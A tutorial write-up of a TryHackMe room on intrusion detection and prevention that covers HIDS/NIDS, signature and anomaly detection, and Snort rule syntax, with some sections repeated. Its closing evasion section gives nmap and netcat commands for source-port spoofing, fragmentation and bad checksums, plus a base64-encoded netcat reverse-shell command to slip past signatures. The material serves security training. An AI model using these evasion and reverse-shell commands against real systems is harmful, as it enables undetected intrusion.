Complete Guide to Intrusion Detection/Prevention System | TryHackMe Network Security Solutions

We covered an introduction to intrusion detection & prevention systems, operating & deployment modes such as the inline mode, the difference between IDS & IPS as well as the difference between network-based IDS and host-based IDS. We also covered examples such as Snort and Wazuh IDS and sample rules. Lastly we covered methods and techniques on how to bypass and evade intrusion detection system such as protocol manipulation and payload modification. This was part of TryHackMe Network Security Solutions red team pathway.

Introduction to IDS and IPS

An Intrusion Detection System (IDS) is a system that detects network or system intrusions. One analogy that comes to mind is a guard watching live feeds from different security cameras. He can spot a theft, but he cannot stop it by himself. However, if this guard can contact another guard and ask them to stop the robber, detection turns into prevention. An Intrusion Detection and Prevention System (IDPS) or simply Intrusion Prevention System (IPS) is a system that can detect and prevent intrusions.

Understanding the difference between detection and prevention is essential. Snort is a network intrusion detection and intrusion prevention system. Consequently, Snort can be set up as an IDS or an IPS. For Snort to function as an IPS, it needs some mechanism to block (drop) offending connections. This capability requires Snort to be set up as inline and to bridge two or more network cards.

Types of IDS and IPS

IDS setups can be divided based on their location in the network into:

1. Host-based IDS (HIDS)
2. Network-based IDS (NIDS)

The host-based IDS (HIDS) is installed on an OS along with the other running applications. This setup will give the HIDS the ability to monitor the traffic going in and out of the host; moreover, it can monitor the processes running on the host.

The network-based IDS (NIDS) is a dedicated appliance or server to monitor the network traffic. The NIDS should be connected so that it can monitor all the network traffic of the network or VLANs we want to protect. This can be achieved by connecting the NIDS to a monitor port on the switch. The NIDS will process the network traffic to detect malicious traffic.

We can classify network traffic into:

1. Benign traffic: This is the usual traffic that we expect to have and don’t want the IDS to alert us about.
2. Malicious traffic: This is abnormal traffic that we don’t expect to see under normal conditions and consequently want the IDS to detect it.

In the same way that we can classify network traffic, we can also classify host activity. The IDS detection engine is either built around detecting malicious traffic and activity or around recognizing normal traffic and activity. Recognizing “normal” makes it easy to detect any deviation from normal.

Consequently, the detection engine of an IDS can be:

1. Signature-based: A signature-based IDS requires full knowledge of malicious (or unwanted) traffic. In other words, we need to explicitly feed the signature-based detection engine the characteristics of malicious traffic. Teaching the IDS about malicious traffic can be achieved using explicit rules to match against.
2. Anomaly-based: This requires the IDS to have knowledge of what regular traffic looks like. In other words, we need to “teach” the IDS what normal is so that it can recognize what is not normal. Teaching the IDS about normal traffic, i.e., baseline traffic can be achieved using machine learning or manual rules.

Put in another way, signature-based IDS recognizes malicious traffic, so everything that is not malicious is considered benign (normal). This approach is commonly found in anti-virus software, which has a database of known virus signatures. Anything that matches a signature is detected as a virus.

An anomaly-based IDS recognizes normal traffic, so anything that deviates from normal is considered malicious. This approach is more similar to how human beings perceive things; you have certain expectations for speed, performance, and responsiveness when you start your web browser. In other words, you know what “normal” is for your browser. If suddenly you notice that your web browser is too sluggish or unresponsive, you will know that something is wrong. In other words, you knew it when your browser’s performance deviated from normal.

Deployment Strategies

We have various deployment scenarios:

• Inline Deployment (for IPS): Placed directly in the data path to actively block threats.
• Passive Deployment (for IDS): Monitors traffic without interfering, using methods like port mirroring.

The choice between inline and passive depends on the desired balance between security and network performance.

Tool Selection:

• Snort: A widely-used open-source network intrusion detection and prevention system.
• Suricata: An advanced, high-performance IDS/IPS with multi-threading capabilities.

IDS/IPS Rules

Rules are the brain of any IDS/IPS, defining what the system should look for and what action it should take. The video uses Snort, a popular open-source IDS/IPS, to illustrate rule structure.

A Snort rule consists of a rule header and rule options.

• Rule Header: Defines the core parameters of the traffic to inspect.
  • Action: e.g., alert, log, drop.
  • Protocol: e.g., tcp, udp, icmp.
  • Source IP & Port: The origin of the traffic.
  • Destination IP & Port: The target of the traffic.
  • Direction: -> (one way) or <> (bi-directional).
• Rule Options: Provide more specific conditions inside the packet.
  • msg: The alert message to be logged.
  • sid: A unique identifier for the rule.
  • content: A specific string or binary pattern to look for inside the packet’s payload.

This video provides a detailed overview of Intrusion Detection Systems (IDS) and Intrusion Prevention Systems (IPS), with a strong focus on techniques used to evade them.

Introduction to IDS and IPS 🕵️‍♂️

• Intrusion Detection System (IDS): An IDS is a passive monitoring system. When it detects potentially malicious activity, its primary function is to generate an alert and log the suspicious event. It does not block the traffic.
• Intrusion Prevention System (IPS): An IPS is an active, inline system. It can be configured to not only alert but also take action to stop a threat. This action can include dropping malicious packets or blocking the connection from the source IP address.

Network Deployment 🌐

• An IDS is typically connected to a switch’s mirror or SPAN (Switched Port Analyzer) port. This gives it visibility into all network traffic without being in the direct path of the data flow.
• An IPS is deployed “inline,” meaning it sits directly in the path of network traffic, for example, between the external firewall and the internal network switch. This position allows it to actively block threats before they reach their target.

There are two main types of IDS/IPS based on their scope:

• Host-based (HIDS/HIPS): Software installed on a single computer or server. It only has visibility into the traffic going to and from that specific host.
• Network-based (NIDS/NIPS): A dedicated hardware appliance or server that monitors traffic for the entire network, similar to a firewall.

Detection Methods 🔍

IDS/IPS systems primarily use two methods to identify threats:

• Signature-Based Detection: This method works like traditional antivirus software. It compares network traffic against a database of known malicious signatures (patterns or hashes). It’s effective against known threats but can miss new, zero-day attacks.
• Anomaly-Based Detection: This method establishes a baseline of “normal” network behavior. It then flags any traffic that deviates significantly from this baseline as potentially malicious. This can be done through manually configured rules or by using Artificial Intelligence (AI) and Machine Learning (ML) to learn normal traffic patterns.

Rules 📜

Rules are the brain of any IDS/IPS, defining what the system should look for and what action it should take. The video uses Snort, a popular open-source IDS/IPS, to illustrate rule structure.

A Snort rule consists of a rule header and rule options.

• Rule Header: Defines the core parameters of the traffic to inspect.
  • Action: e.g., alert, log, drop.
  • Protocol: e.g., tcp, udp, icmp.
  • Source IP & Port: The origin of the traffic.
  • Destination IP & Port: The target of the traffic.
  • Direction: -> (one way) or <> (bi-directional).
• Rule Options: Provide more specific conditions inside the packet.
  • msg: The alert message to be logged.
  • sid: A unique identifier for the rule.
  • content: A specific string or binary pattern to look for inside the packet’s payload.

Example Snort Rules:

• Detect an ICMP (ping) packet:

alert icmp any any -> any any (msg:"ICMP Packet Detected"; sid:1000001;)

Detect an anonymous FTP login attempt:

alert tcp any any -> any 21 (msg:"Anonymous FTP Login Attempt"; flow:established,to_server; content:"USER anonymous"; sid:1000002;)

Evasion Techniques

Evading IDS/IPS is crucial during various stages of a cyberattack, from reconnaissance to data exfiltration.

• Using Different Protocols: If an IDS is heavily monitoring TCP traffic, switching to UDP for a reverse shell or data transfer might go unnoticed.
• Changing the Source Port: Malicious traffic often uses non-standard ports. By forcing traffic to originate from a well-known, trusted port (like port 80 for HTTP or 53 for DNS), you can sometimes trick an IDS into ignoring it.
  • In Nmap, this is done with the -g or --source-port option:

nmap -g 53 <target_ip>

In Netcat, you can specify the source port for a connection:

nc -p 53 <target_ip> <port>

Fragmentation: This technique involves splitting packets into smaller fragments. If an IDS is looking for a specific pattern (like “/bin/bash“) in a single packet, splitting that pattern across multiple small fragments can prevent the signature from being matched.

• In Nmap, use the -f (small fragments) or -ff (even smaller fragments) option.

Sending Invalid Packets: An IDS is designed to inspect valid traffic. Sending packets with incorrect checksums or other malformed headers can sometimes confuse or crash the detection engine.

• In Nmap, this can be done with the --badsum option.

Payload Manipulation (Encoding): If a rule is looking for a plaintext string like “netcat“, you can encode the payload to bypass it. The payload is then decoded on the target machine before execution.

• Base64 Encoding:

echo "nc -e /bin/bash <ip> <port>" | base64

• URL Encoding: Converts characters into a %HH format.

Encryption: This is one of the most effective evasion techniques. By encrypting the communication channel (e.g., using SSL/TLS), the payload becomes unreadable to the IDS/IPS unless it is configured for “SSL inspection,” which is a complex and resource-intensive process.

• Tools like Socat can create encrypted reverse shells. You would first use OpenSSL to generate a private key and a certificate on the listener machine.

Best Practices and Considerations

Recommendations for maintaining an effective IDS/IPS:

• Regular Updates: Keep the system and rule sets up-to-date to protect against new vulnerabilities.
• Performance Monitoring: Continuously monitor system performance to ensure that security measures do not hinder network efficiency.
• Incident Response Plan: Develop a clear plan for responding to alerts and potential breaches.
• Training and Awareness: Ensure that IT staff are trained to manage and respond to IDS/IPS alerts appropriately.

TryHackMe Network Security Solutions Room Answers

Video Walkthrough